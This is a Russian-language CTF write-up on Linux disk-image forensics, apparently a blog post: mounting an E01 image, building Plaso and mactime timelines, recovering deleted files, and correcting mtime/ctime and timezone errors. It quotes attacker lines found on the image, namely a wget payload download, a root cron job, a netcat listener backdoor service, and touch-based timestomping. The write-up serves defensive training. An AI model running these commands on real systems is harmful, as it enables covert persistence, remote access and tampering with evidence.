Как я поднял таймлайн компрометации на образе диска с CTF-задания DFIR и где ошибся с порядком артефактов

На CTF-задании по DFIR (Digital Forensics and Incident Response — цифровая криминалистика и реагирование на инциденты) я собрал таймлайн из 47 000 событий за 20 минут — и первые три флага сдал неправильно. Plaso отработал штатно, mactime выдал аккуратный CSV. Проблема оказалась не в инструментах, а в порядке действий: я запустил сбор таймлайна до восстановления удалённых файлов, перепутал mtime с ctime и не проверил часовой пояс системы. Два ключевых события поменялись местами — вся хронология атаки рассыпалась.
Дальше — пошаговый разбор: как монтировать образ, собирать артефакты, строить таймлайн компрометации Linux и какие ошибки в порядке анализа артефактов стоят неправильных ответов. Если вы только начинаете разбираться в DFIR — тем лучше: я уже наступил на все грабли за вас.
Подготовка: верификация и монтирование образа диска
Прежде чем анализировать содержимое — убедитесь, что образ не повреждён при скачивании. Одна битая секция в E01 (Expert Witness Format — криминалистический формат с компрессией и встроенными хеш-суммами) может превратить валидный crontab в мусор.
Проверка целостности E01
Тут есть подвох. Если посчитать SHA1 от самого файла .E01 через sha1sum, получится хеш сжатых данных — он не совпадёт с эталонным. Нужна утилита, которая понимает формат EWF: она прочитает хеш из футера образа, распакует данные и пересчитает контрольную сумму. На практике — ewfverify из пакета ewf-tools (ставится через sudo apt install ewf-tools).
Команда ewfverify -d sha1 suspect.E01 верифицирует и MD5, и SHA1. Ожидаемый результат: строка ewfverify: SUCCESS. Если видите FAILURE — образ повреждён, работать с ним бессмысленно.
Монтирование образа и доступ к файловой системе
После верификации нужно смонтировать образ так, чтобы получить доступ к файловой системе, не изменив ни одного бита. Весь процесс — от E01 до конечной точки монтирования — три шага. Нужен Linux с установленными ewf-tools и sleuthkit (The Sleuth Kit — набор консольных утилит для анализа файловых систем).
# Шаг 1: монтируем E01 как "физическое устройство"
mkdir phy log
sudo ewfmount suspect.E01 ./phy
# Результат: в ./phy появляется файл ewf1 — raw-образ диска
# Шаг 2: смотрим таблицу разделов
sudo mmls ./phy/ewf1
# mmls покажет разделы: ищем самый большой Linux (0x83)
# Start-сектор (например, 2048) * 512 = byte offset
# Шаг 3: монтируем нужный раздел read-only
sudo mount -o ro,loop,offset=$((2048 * 512)) ./phy/ewf1 ./log
Флаг ro (read-only) — обязателен. Без него каждый ls обновит atime (время последнего доступа) файлов, и таймлайн компрометации поедет. Первое правило работы с образами: ничего не записывать.
mmls из The Sleuth Kit показывает разделы в секторах. Смещение в байтах — стартовый сектор умножить на размер сектора (обычно 512 байт). На CTF-задании, описанном в walkthrough dfir.science по Cyber5W CTF, стартовый сектор Linux-раздела был 1052672 — это 538 968 064 байт. У вас число будет другим — смотрите вывод mmls.
После монтирования cd ./log && ls должен показать стандартную структуру Linux: /etc, /var, /home, /root, /tmp. Видите — анализ дискового образа Linux можно начинать.
Первый проход по артефактам — и первая ошибка
Получив доступ к файловой системе, я допустил классическую ошибку: начал хвататься за всё подряд вместо того, чтобы выстроить порядок анализа артефактов Linux. Открыл bash_history, увидел подозрительные команды, побежал проверять cron — и через час понял, что собранные факты не складываются в хронологию.
Журнал аутентификации: auth.log
auth.log показывает, кто входил в систему, откуда и когда. Это скелет хронологии — без него невозможно определить момент первоначального доступа.
Файл лежит в /var/log/auth.log (Debian/Ubuntu) или /var/log/secure (CentOS/RHEL). Что искать: записи Accepted publickey и Accepted password от SSH, записи sudo с нестандартными пользователями, строки su с переключением на root.
На моём образе — серия из 47 неудачных попыток SSH-входа под пользователем admin за 3 минуты. Классический брутфорс. Затем — успешный вход с другого IP через 12 минут. Сам подбор пароля — техника Brute Force (T1110, тактика Credential Access по MITRE ATT&CK). ATT&CK — открытая база тактик и техник атак; T-коды идентифицируют конкретные приёмы злоумышленников. Запомните эту систему — она пригодится дальше для маппинга находок. Последующий успешный вход с подобранными учётными данными — уже другая техника: Valid Accounts (T1078, тактика Initial Access). Две разные техники в одной цепочке.
Команды, которые пригодятся: grep "Accepted" ./log/var/log/auth.log покажет успешные входы. Для IP-адресов с наибольшим числом неудачных попыток — grep "Failed password" ./log/var/log/auth.log | grep -oP '(?<=from )\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn. Извлечение через regex надёжнее, чем awk по номеру поля: строки с invalid user сдвигают нумерацию.
bash_history: следы действий атакующего
История команд показывает, что атакующий делал после входа — загружал малварь, менял права, закреплялся.
На CTF-образе в /root/.bash_history нашлись строки wget http://<IP>/payload -O /tmp/.update, chmod +x /tmp/.update, crontab -e. Последовательность типичная: скачать → сделать исполняемым → добавить в планировщик.
Но тут начинается моя ошибка. Я принял время модификации .bash_history за время последней команды. Это неправильно. bash_history перезаписывается при выходе из сессии — mtime показывает момент выхода, а не момент ввода конкретной команды. Если атакующий выполнил unset HISTFILE или export HISTCONTROL=ignorespace, часть команд вообще не попадёт в историю. Так что bash_history — подсказка, а не доказательство.
Cron и systemd: следы закрепления
Для поиска следов компрометации стоит проверить все механизмы автозапуска. Закрепление через cron — техника Cron (T1053.003, тактики Persistence и Privilege Escalation). Атакующий создаёт задачу, которая перезапускает его код при каждой загрузке или по расписанию.
/etc/crontab на моём образе содержал запись * * * * * root /tmp/.update — запуск каждую минуту от root. Тот самый скачанный бинарник. В аналогичном разборе на Хабре (Linux Incident Response, часть 2) описан похожий кейс — @reboot плюс * * * * * для двойной гарантии: перезагрузка и ежеминутное повторение.
Кроме cron, стоит проверить systemctl list-units --type=service --state=running на подозрительные сервисы и find /home -name "*.desktop" на файлы автозапуска в desktop-окружении. На моём образе дополнительно обнаружился sysupdate.service с ExecStart=/usr/bin/nc -lp 4444 и Restart=always — бэкдор через netcat с автоматическим перезапуском. Наглый, но эффективный.
Построение таймлайна компрометации Linux через Plaso
Ручной анализ отдельных артефактов — auth.log, bash_history, cron — даёт фрагменты картины. Для CTF нужна единая хронология: что произошло первым, что следствие, а что отвлекающий манёвр. Plaso (log2timeline) автоматически извлекает временные метки из десятков источников и сводит их в один поток.
По данным Mandiant M-Trends 2025, медианное время нахождения злоумышленника в сети до обнаружения — 11 дней. За 11 дней атакующий успевает закрепиться, переместиться латерально и вытащить данные. Таймлайн показывает, что именно произошло за эти дни — или, в случае CTF, за несколько часов симулированной атаки.
log2timeline: автоматический сбор временных меток
Plaso ставится через pip install plaso или из пакетов дистрибутива (в SIFT Workstation и REMnux идёт предустановленным). Нужен Python 3.8+.
Первая команда — log2timeline.py — парсит весь смонтированный образ и складывает результаты в бинарный файл .plaso. Вторая — psort.py — фильтрует и экспортирует в читаемый CSV.
# Сбор всех временных меток с образа (может занять 15-40 минут)
log2timeline.py --storage-file timeline.plaso ./log
# Экспорт с фильтрацией по дате (подставьте свой диапазон)
psort.py -o l2tcsv -w timeline.csv timeline.plaso \
"date > '2024-01-15 00:00:00' AND date < '2024-01-20 23:59:59'"
# CSV содержит колонки: date, time, timezone, MACB, source, sourcetype, type, short, desc
# MACB: M=modified, A=accessed, C=changed(metadata), B=born(created)
Результат: CSV на десятки тысяч строк. У меня вышло 47 312 записей. Открывать в Excel бессмысленно — нужен grep, awk или загрузка в Timesketch (веб-интерфейс для совместной работы с таймлайнами).
Колонка MACB — то место, где я допустил вторую ошибку. M (modified) и C (changed) — разные вещи, и путаница между ними ломает хронологию. Об этом ниже.
mactime из The Sleuth Kit: таймлайн файловой системы
log2timeline собирает метки из логов, конфигов, баз данных. Метаданные файловой системы он тоже парсит. Но для прицельного анализа файловых меток удобнее mactime — он работает с bodyfile-форматом, который генерирует fls из TSK.
fls -m "/" -r -o 2048 ./phy/ewf1 > bodyfile.txt — создаёт bodyfile (список всех файлов с метаданными). mactime -b bodyfile.txt -d > fs_timeline.csv — строит хронологический таймлайн. Ключ -d задаёт CSV-формат вместо текстового.
Как проверить: откройте CSV и найдите строки с /tmp/.update и /etc/crontab. Если mactime отработал правильно, оба файла будут видны с четырьмя метками — mtime, atime, ctime и crtime (время создания, если файловая система ext4).
Где я ошибся с порядком артефактов: три урока
Ошибка первая: Plaso до восстановления удалённых файлов
Атакующие удаляют следы — техника File Deletion (T1070.004, тактика Defense Evasion). На моём образе были удалены скрипт первоначальной загрузки /tmp/stage1.sh и лог-файл, который атакующий создал для отладки. Plaso парсит смонтированную файловую систему, но не видит удалённые файлы — их inode (структура, хранящая владельца, права и временные метки файла) уже не связаны с записями директории.
Что нужно было сделать сначала: запустить fls -rd (флаг -d — только удалённые, -r — рекурсивно) и восстановить удалённые файлы через icat (утилита TSK, извлекает содержимое по номеру inode). Только после этого — запускать log2timeline.
# Найти удалённые файлы (помечены * в выводе)
fls -rd -o 2048 ./phy/ewf1 | head -20
# Пример вывода: r/r * 45231: tmp/stage1.sh
# Посмотреть метаданные inode удалённого файла
istat -o 2048 ./phy/ewf1 45231
# Покажет: atime, mtime, ctime, crtime, размер, блоки
# Извлечь содержимое
icat -o 2048 ./phy/ewf1 45231 > recovered_stage1.sh
# Построить bodyfile ВКЛЮЧАЯ удалённые файлы
fls -m "/" -r -o 2048 ./phy/ewf1 > bodyfile_full.txt
mactime -b bodyfile_full.txt -d > fs_timeline_full.csv
У удалённого stage1.sh crtime оказался раньше, чем crtime основного пейлоада /tmp/.update. Это означало, что stage1.sh был дроппером (скрипт первой стадии, который скачивает основную нагрузку), а .update — второй стадией. Без этого артефакта я думал, что .update был единственным вредоносным файлом, и ответил неправильно на вопрос CTF «Какой файл был загружен первым?».
Урок простой: сначала восстанови удалённое, потом строй таймлайн.
Ошибка вторая: mtime вместо ctime и проблема Timestomp
На DFIR CTF разборе я выстраивал хронологию по mtime (время изменения содержимого файла). Логика казалась простой: файл создан → записан → mtime обновился. Но атакующие используют технику Timestomp (T1070.006, тактика Defense Evasion) — подмену временных меток через touch -t или специализированные инструменты. Команда touch -t 202301010000 /tmp/.update выставит mtime на 1 января 2023 года, и файл «спрячется» в середине хронологии среди легитимных системных файлов.
Почему ctime надёжнее: ctime обновляется при изменении метаданных — прав, владельца, количества жёстких ссылок. touch меняет mtime и atime, но автоматически обновляет ctime до текущего момента — потому что ctime нельзя установить напрямую через стандартные системные вызовы. Оговорка: продвинутые техники timestomping (через debugfs или прямую запись в inode) способны подделать и ctime. Абсолютной гарантии нет, но порог сложности значительно выше.
Если mtime файла — январь 2023, а ctime — январь 2024, значит метаданные менялись позже. Это повод подозревать timestomp.
На моём образе /tmp/.update имел mtime 15 января 2024 10:03 и ctime 15 января 2024 15:47. Я выстроил события по mtime и поставил создание пейлоада в 10:03 — до входа по SSH (который по auth.log случился в 15:32). Получалось, что файл появился раньше, чем атакующий вошёл. Меня это не смутило — решил, что файл был предзагружен другим способом. На деле mtime был подделан, реальное время создания — около 15:35 (через 3 минуты после SSH-входа), что подтверждалось ctime.
Правило: при расхождении mtime и ctime больше нескольких секунд всегда проверяйте crtime через istat. На ext4 crtime покажет момент появления файла (хотя и его можно подделать через debugfs).
Ошибка третья: часовой пояс и NTP-дрифт
Восстановление таймлайна атаки рушится, если не совпадают часовые пояса источников. Auth.log пишет метки в локальном времени системы. journalctl использует системную таймзону. А Plaso по умолчанию нормализует всё в UTC.
На моём образе система была настроена на UTC+3 (Москва), но я не проверил это до анализа. Plaso сконвертировал метки в UTC, а я сравнивал их с auth.log «как есть». Результат: SSH-вход по auth.log — 15:32, создание файла по Plaso-таймлайну — 12:35. Разница в 2 часа 57 минут — как раз UTC+3 минус поправка. Я потратил полчаса, пытаясь понять, как файл создался до входа, пока не догадался проверить /etc/timezone (содержал Europe/Moscow) и вывод timedatectl (NTP синхронизирован, дрифт отсутствовал).
Как избежать: перед запуском log2timeline проверьте часовой пояс командой cat ./log/etc/timezone и используйте флаг --timezone в Plaso. Для физических серверов дополнительно проверяйте /var/log/ntpd.log или journalctl -u systemd-timesyncd на предмет NTP-дрифта — смещения системных часов относительно эталонного времени.
Полчаса на загадку, которая решается одним cat. Обидно, но запоминается навсегда.
Правильный порядок анализа артефактов Linux при DFIR CTF разборе
После трёх ошибок я переработал свой чеклист. Каждый шаг зависит от предыдущего — пропуск любого аукнется позже.
Пошаговый чеклист для анализа образа диска
Шаг 1: верификация и монтирование. ewfverify → ewfmount → mmls → mount -o ro. Результат: доступ к файловой системе без изменения данных.
Шаг 2: фиксация часового пояса. cat /etc/timezone, ls -la /etc/localtime, проверка NTP-статуса. Записать таймзону и использовать во всех дальнейших инструментах.
Шаг 3: восстановление удалённых файлов. fls -rd + icat для каждого удалённого inode. Скопировать восстановленные файлы в отдельную директорию. Это нужно ДО шага 4 — иначе Plaso не увидит удалённые артефакты.
Шаг 4: bodyfile и mactime. fls -m "/" -r → bodyfile → mactime -b. Результат: CSV-таймлайн файловой системы со всеми метками MACB, включая удалённые файлы.
Шаг 5: полный таймлайн через Plaso. log2timeline.py с указанием --timezone → psort.py с фильтрацией по дате. Результат: объединённый таймлайн из логов, файловой системы и артефактов приложений.
Шаг 6: корреляция. Совместить auth.log (входы), bash_history (действия), cron/systemd (закрепление) и файловую хронологию. Проверить расхождения mtime/ctime — каждое расхождение больше минуты потенциально указывает на timestomp.
Шаг 7: маппинг на MITRE ATT&CK. Каждому артефакту присвоить T-код. Маппинг помогает проверить полноту: если нашли Persistence (T1053.003), но не нашли Initial Access — значит что-то пропущено.
Маппинг находок на MITRE ATT&CK
На моём CTF-образе итоговый маппинг выглядел так:
| Находка | Техника | Тактика |
|---|---|---|
| Брутфорс SSH (47 попыток) | Brute Force (T1110) | Credential Access |
| Успешный SSH-вход с подобранными credentials | Valid Accounts (T1078) | Initial Access |
Cron-запись * * * * * для /tmp/.update |
Cron (T1053.003) | Persistence, Execution, Privilege Escalation |
| systemd-сервис sysupdate.service | Systemd Service (T1543.002) | Persistence, Privilege Escalation |
| Удалённый stage1.sh | File Deletion (T1070.004) | Defense Evasion |
| Поддельный mtime у /tmp/.update | Timestomp (T1070.006) | Defense Evasion |
| wget + chmod в bash_history | Malicious File (T1204.002) | Execution |
Таблица не просто оформляет результат — она показывает пробелы. В моём случае отсутствовали Discovery-техники, а они точно были: атакующий наверняка запускал uname -a (System Information Discovery, T1082) и ls по директориям (File and Directory Discovery, T1083). Я перепроверил bash_history и нашёл эти команды между SSH-входом и загрузкой пейлоада — они просто потерялись в объёме. Маппинг подсказал, где искать.
Цифровая криминалистика — это методология, а не набор инструментов
Три ошибки на одном CTF-задании дали мне больше, чем десяток прочитанных гайдов. Plaso, mactime, fls — работают ровно так, как документировано. Проблема в голове аналитика: в каком порядке применять инструменты, какие метки достоверны, а какие подделаны, и как не тратить час на загадку, которая решается проверкой /etc/timezone.
Начинающие аналитики вкладывают 90% времени в изучение интерфейса Autopsy или синтаксиса Volatility — и 10% в методологию. На практике соотношение должно быть обратным. Инструменты взаимозаменяемы: mactime можно заменить на Plaso, Autopsy — на ручной TSK-анализ. А вот порядок «сначала восстановить удалённое, потом строить таймлайн» — универсален и от инструмента не зависит.
Ещё один неудобный факт: OWASP в разделе A09:2021 (Security Logging and Monitoring Failures) описывает аналогичную проблему для веб-приложений — недостаточное логирование. На уровне ОС более релевантен NIST SP 800-92 (Guide to Computer Security Log Management), но суть та же. На реальных инцидентах auth.log может оказаться ротированным, journalctl — очищенным, bash_history — обнулённым через HISTCONTROL=ignorespace. CTF даёт идеальные условия: все артефакты на месте, ничего не ротировано. В реальном IR так не бывает почти никогда — и именно поэтому методология порядка анализа важнее знания конкретных команд. Когда артефактов мало, каждый на вес золота, и ошибка в интерпретации одной временной метки уводит расследование в тупик.
Я видел, как аналитики с трёхлетним опытом путают ctime и mtime на ext4. Не потому что не знают определений — знают. А потому что в потоке 47 000 строк таймлайна рефлекторно сортируют по mtime и не проверяют расхождения. Попробуйте взять любой CTF-образ с CyberDefenders или DFIR.science, пройти по чеклисту из этой статьи и проверить — сколько расхождений mtime/ctime вы найдёте до того, как полезете в bash_history. На IB Basics эту логику — «сначала порядок, потом инструмент» — отрабатывают на первых же задачах, чтобы ошибки выбивались на уровне привычки, а не на третьем проваленном флаге.
Эту тему и смежные навыки разбирают на практике в курсе «Цифровая криминалистика и реагирование на инциденты (DFIR)» Codeby Academy.